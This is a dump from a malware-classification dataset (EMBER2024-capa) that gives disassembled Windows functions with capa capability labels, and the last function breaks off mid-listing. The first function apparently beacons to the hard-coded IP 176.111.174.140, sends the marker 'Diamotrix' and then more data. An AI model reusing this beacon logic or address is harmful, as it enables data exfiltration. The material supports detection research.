joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001bb64
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x260
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, rcx
or r15, 0xffffffffffffffff
mov rdi, r15
and qword [rbp + 0x188], 0
mov ecx, 0x202
lea rdx, [rbp - 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18001bbbd
lea eax, [r15 + 2]
jmp 0x18001bd77
xor edx, edx
lea r8d, [rdx + 0x30]
lea rcx, [rsp + 0x40]
call fcn.1800070d8
mov dword [rsp + 0x44], 2
mov esi, 1
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x4c], 6
lea r9, [rbp + 0x188]
lea r8, [rsp + 0x40]
lea rdx, str.8968
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001bc39
lea r9, [rbp + 0x188]
lea r8, [rsp + 0x40]
lea rdx, str.8967
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001bc39
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001bd75
mov rbx, qword [rbp + 0x188]
test rbx, rbx
je 0x18001bc8f
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, r15
je 0x18001bc2e
mov r8d, dword [rbx + 0x10]
mov rdx, qword [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, r15d
jne 0x18001bc88
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, r15
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001bc45
mov rbx, qword [rbp + 0x188]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, r15
je 0x18001bc2e
xor r9d, r9d
lea r8d, [r9 + 9]
lea rdx, str.Diamotrix
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, r15d
jne 0x18001bcc7
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18001bc2e
lea rdx, str.Diamotrix
lea rcx, [rbp - 0x68]
call fcn.1800010e8
nop
mov rdx, r14
lea rcx, [rsp + 0x78]
call fcn.1800010e8
nop
lea r8, [rbp - 0x68]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x20]
call fcn.1800046d4
nop
lea rcx, [rsp + 0x78]
call fcn.1800011bc
nop
lea rcx, [rbp - 0x68]
call fcn.1800011bc
lea rcx, [rsp + 0x20]
call fcn.180013604
mov rbx, rax
lea rcx, [rsp + 0x20]
call fcn.180004cb4
mov rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
cmp eax, r15d
je 0x18001bd4f
mov edx, esi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rdi
cmp eax, r15d
jne 0x18001bd5d
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001bd6b
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor esi, esi
lea rcx, [rsp + 0x20]
call fcn.1800011bc
mov eax, esi
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400087bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140008808
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140008800
cmp dword [rcx + 0x3c], edx
jl 0x140008800
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140008800
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140008808
mov rax, rdx
add rsp, 0x18
ret

Function at 0x140001a60
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aaa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aaa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aaa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aaa
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aaa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001aac
xor al, al
add rsp, 0x28
ret
Function at 0x140003590
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x1400035f1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x1400035b0
mov ecx, dword [r9]
jmp 0x1400036db
cmp ecx, 0x4e0
jb 0x1400036db
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140003610
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140003660
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x1400079e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007a2e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007a2e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007a2e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007a2e
cmp dword [rcx + 0x84], 0xe
jbe 0x140007a2e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007a30
xor al, al
add rsp, 0x28
ret
Function at 0x180007cb0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x180007d1f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180007d1f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180007d1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180007d1f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180007d1f
cmp dword [rcx + 0x84], 0xe
jbe 0x180007d1f
cmp dword [rcx + 0xf8], 0
je 0x180007d1f
mov ecx, ebx
call fcn.180007dd0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180007bac
nop
cmp dword [rbp + 0x20], 0
je 0x180007d6d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180007d78
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x180007cb0
Function at 0x18000af64
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000af94
xor eax, eax
jmp 0x18000b057
mov rbp, rbx
cmp word [rax], si
je 0x18000afb9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000afa0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000af9c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000ae84
movsxd r14, eax
test eax, eax
jne 0x18000aff7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000af8d
mov rcx, r14
call fcn.18000928c
mov rdi, rax
test rax, rax
jne 0x18000b010
xor ecx, ecx
call fcn.1800092ec
jmp 0x18000afec
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000ae84
test eax, eax
jne 0x18000b041
mov rcx, rdi
call fcn.1800092ec
jmp 0x18000b04b
xor ecx, ecx
call fcn.1800092ec
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180010610
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180010638
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180010638
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140003b00
Capabilities:
Encode data using base64

Disassembly:
push rsi
push rdi
push rbx
mov r9, r8
mov r8, rdx
movabs r11, 0xaaaaaaaaaaaaaaab
cmp r9, 3
jae 0x140003b21
mov r10, rcx
jmp 0x140003bad
mov rax, r9
mul r11
shr rdx, 1
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rsi, rcx
nop word cs:[rax + rax]
movzx r10d, byte [r8]
shr r10d, 2
movzx r10d, byte [r10 + rax]
mov byte [rsi], r10b
movzx r10d, byte [r8]
shl r10d, 4
and r10d, 0x30
movzx edi, byte [r8 + 1]
shr edi, 4
or edi, r10d
movzx r10d, byte [rdi + rax]
mov byte [rsi + 1], r10b
movzx r10d, byte [r8 + 2]
shr r10d, 6
movzx edi, byte [r8 + 1]
and edi, 0xf
lea r10d, [r10 + rdi*4]
movzx r10d, byte [r10 + rax]
mov byte [rsi + 2], r10b
movzx edi, byte [r8 + 2]
and edi, 0x3f
lea r10, [rsi + 4]
add r8, 3
movzx ebx, byte [rdi + rax]
mov byte [rsi + 3], bl
mov rsi, r10
dec rdx
jne 0x140003b40
mov rax, r9
mul r11
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
cmp r9, 1
je 0x140003c0f
cmp r9, 2
jne 0x140003c44
movzx eax, byte [r8]
shr eax, 2
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movzx eax, byte [rax + rdx]
mov byte [r10], al
movzx eax, byte [r8]
shl eax, 4
and eax, 0x30
movzx r9d, byte [r8 + 1]
shr r9d, 4
or r9d, eax
movzx eax, byte [r9 + rdx]
mov byte [r10 + 1], al
movzx eax, byte [r8 + 1]
and eax, 0xf
movzx eax, byte [rdx + rax*4]
mov byte [r10 + 2], al
jmp 0x140003c3b
movzx eax, byte [r8]
shr eax, 2
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movzx eax, byte [rax + rdx]
mov byte [r10], al
movzx eax, byte [r8]
shl eax, 4
and eax, 0x30
movzx eax, byte [rax + rdx]
mov byte [r10 + 1], al
mov byte [r10 + 2], 0x3d
mov byte [r10 + 3], 0x3d
add r10, 4
sub r10, rcx
mov rax, r10
pop rbx
pop rdi
pop rsi
ret
Function at 0x140003e60
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
mov rax, qword [0x140386380]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rax, r8
mov rcx, rdx
test r9, r9
je 0x1400040a5
xor r10d, r10d
lea r11, [0x140368250]
mov rcx, rdx
mov rax, r8
jmp 0x140003eaf
dec r9
inc rax
test r9, r9
je 0x140003f40
movzx edi, byte [rax]
cmp rdi, 0x3d
je 0x140003f40
movzx ebx, byte [rdi + r11]
cmp bl, 0xff
je 0x140003f40
movsxd r10, r10d
mov byte [rsp + r10 + 0x29], bl
inc r10d
cmp r10d, 4
jne 0x140003ea0
movzx r10d, byte [rsp + 0x29]
movzx ebx, byte [rsp + 0x2a]
shl r10b, 2
mov edi, ebx
shr dil, 4
and dil, 3
or dil, r10b
shl bl, 4
movzx r10d, byte [rsp + 0x2b]
mov ebp, r10d
shr bpl, 2
and bpl, 0xf
or bpl, bl
mov byte [rsp + 0x2e], bpl
shl r10b, 6
add r10b, byte [rsp + 0x2c]
mov byte [rsp + 0x2f], r10b
mov byte [rcx], dil
movzx r10d, byte [rsp + 0x2e]
mov byte [rcx + 1], r10b
movzx r10d, byte [rsp + 0x2f]
mov byte [rcx + 2], r10b
add rcx, 3
xor r10d, r10d
jmp 0x140003ea0
test r10d, r10d
je 0x1400040a5
movzx r9d, byte [rsp + 0x29]
movzx r11d, byte [rsp + 0x2a]
shl r9b, 2
mov ebx, r11d
shr bl, 4
and bl, 3
or bl, r9b
mov byte [rsp + 0x2d], bl
shl r11b, 4
movzx r9d, byte [rsp + 0x2b]
mov ebx, r9d
shr bl, 2
and bl, 0xf
or bl, r11b
mov byte [rsp + 0x2e], bl
shl r9b, 6
add r9b, byte [rsp + 0x2c]
mov byte [rsp + 0x2f], r9b
cmp r10d, 2
jl 0x1400040a5
lea r9d, [r10 - 1]
lea r11, [rsp + 0x2d]
xor edi, edi
cmp r10d, 0x21
jb 0x140003ff6
mov r10, rcx
sub r10, r11
cmp r10, 0x20
jb 0x140003ff6
mov edi, r9d
and edi, 0xffffffe0
lea r10, [rcx + rdi]
xor ebx, ebx
nop word cs:[rax + rax]
movups xmm0, xmmword [rsp + rbx + 0x2d]
movups xmm1, xmmword [rsp + rbx + 0x3d]
movups xmmword [rcx + rbx], xmm0
movups xmmword [rcx + rbx + 0x10], xmm1
add rbx, 0x20
cmp rdi, rbx
jne 0x140003fd0
cmp rdi, r9
jne 0x140003ff9
jmp 0x1400040a2
mov r10, rcx
mov rcx, rdi
not rcx
add rcx, r9
mov rbx, r9
and rbx, 7
je 0x140004023
nop dword [rax + rax]
movzx ebp, byte [rsp + rdi + 0x2d]
mov byte [r10], bpl
inc r10
inc rdi
dec rbx
jne 0x140004010
cmp rcx, 7
jb 0x1400040a2
sub r9, rdi
add r11, rdi
add r11, 7
xor ecx, ecx
nop word cs:[rax + rax]
movzx ebx, byte [r11 + rcx - 7]
mov byte [r10 + rcx], bl
movzx ebx, byte [r11 + rcx - 6]
mov byte [r10 + rcx + 1], bl
movzx ebx, byte [r11 + rcx - 5]
mov byte [r10 + rcx + 2], bl
movzx ebx, byte [r11 + rcx - 4]
mov byte [r10 + rcx + 3], bl
movzx ebx, byte [r11 + rcx - 3]
mov byte [r10 + rcx + 4], bl
movzx ebx, byte [r11 + rcx - 2]
mov byte [r10 + rcx + 5], bl
movzx ebx, byte [r11 + rcx - 1]
mov byte [r10 + rcx + 6], bl
movzx ebx, byte [r11 + rcx]
mov byte [r10 + rcx + 7], bl
add rcx, 8
cmp r9, rcx
jne 0x140004040
add r10, rcx
mov rcx, r10
sub rcx, rdx
sub rax, r8
mov qword [rsi], rcx
mov qword [rsi + 8], rax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140009640
mov rax, rsi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
Function at 0x14000dad0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [rsp + 0x80], 0
jg 0x14000daf5
xor eax, eax
jmp 0x14000dcb6
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x14000db1d
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.14000cd60
jmp 0x14000dcb6
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x70]
call fcn.14000ca00
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x14000dbba
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.14000e820
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x70]
call fcn.14000c800
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.14000aa20
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
call fcn.14000c870
nop
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x14000dca6
mov rcx, qword [rsp + 0x70]
call fcn.14000e480
mov qword [rsp + 0x58], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x14000dc5a
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.140031660
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x14000dc58
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x14000dcb6
jmp 0x14000dbe0
cmp qword [rsp + 0x20], 0
jbe 0x14000dca6
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.140031660
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x68
ret
Function at 0x140011ea0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140010350
movzx eax, al
test eax, eax
jne 0x140011ec0
mov ecx, 7
call fcn.1400119f0
nop
mov byte [rsp + 0x20], 0
call fcn.1400102b0
mov byte [rsp + 0x21], al
cmp dword [0x140387cc0], 1
jne 0x140011ee4
mov ecx, 7
call fcn.1400119f0
nop
jmp 0x140011f3c
cmp dword [0x140387cc0], 0
jne 0x140011f37
mov dword [0x140387cc0], 1
lea rdx, [0x1403814d8]
lea rcx, [0x140381498]
call fcn.14002e910
test eax, eax
je 0x140011f18
mov eax, 0xff
jmp 0x140012041
lea rdx, [0x140381490]
lea rcx, [0x1403812e0]
call fcn.14002e8a0
mov dword [0x140387cc0], 2
jmp 0x140011f3c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140010320
call fcn.1400122d0
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140011f99
mov rcx, qword [rsp + 0x30]
call fcn.140010220
movzx eax, al
test eax, eax
je 0x140011f99
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140390008]
nop
call fcn.1400122e0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140011fcd
mov rcx, qword [rsp + 0x38]
call fcn.140010220
movzx eax, al
test eax, eax
je 0x140011fcd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140024da0
nop
call fcn.140011e60
mov dword [rsp + 0x28], eax
call fcn.140011900
movzx eax, al
test eax, eax
jne 0x140011fec
mov ecx, dword [rsp + 0x28]
call fcn.140024d20
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140011ffb
call fcn.140024d60
nop
xor edx, edx
mov cl, 1
call fcn.1400103a0
mov eax, dword [rsp + 0x28]
jmp 0x140012041
add rsp, 0x68
ret
Function at 0x1400402b0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret

Function at 0x140042870
Capabilities:
Get geographical location

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.1400436c0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400428d7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x140390018]
jmp 0x1400428f9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140042c00
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret
Function at 0x1400537f0
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.1400539c0
lea rcx, [rsp + 0x20]
call fcn.140053a90
movzx eax, al
test eax, eax
jne 0x140053835
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.1400539e0
mov rax, qword [rsp + 0x40]
jmp 0x14005392f
lea rcx, [rsp + 0x20]
call fcn.140053a00
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.140053970
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.140025ee0
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.140015e80
lea rcx, [rsp + 0x28]
call fcn.14002e530
movzx eax, al
test eax, eax
jne 0x1400538cf
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.140015ea0
lea rcx, [rsp + 0x20]
call fcn.1400539e0
mov rax, qword [rsp + 0x50]
jmp 0x14005392f
lea rcx, [rsp + 0x20]
call fcn.140053a00
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.140015ef0
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.140065f50
lea rcx, [rsp + 0x28]
call fcn.1400163a0
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.140015ea0
lea rcx, [rsp + 0x20]
call fcn.1400539e0
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x1400569e0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400095e0
sub rsp, rax
mov rax, qword [0x140386380]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140388ec0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140056bd2
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x140056b26
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140056b26
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x140056b0b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x140056aa8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140056b92
call qword [sym.imp.KERNEL32.dll_GetLastError]
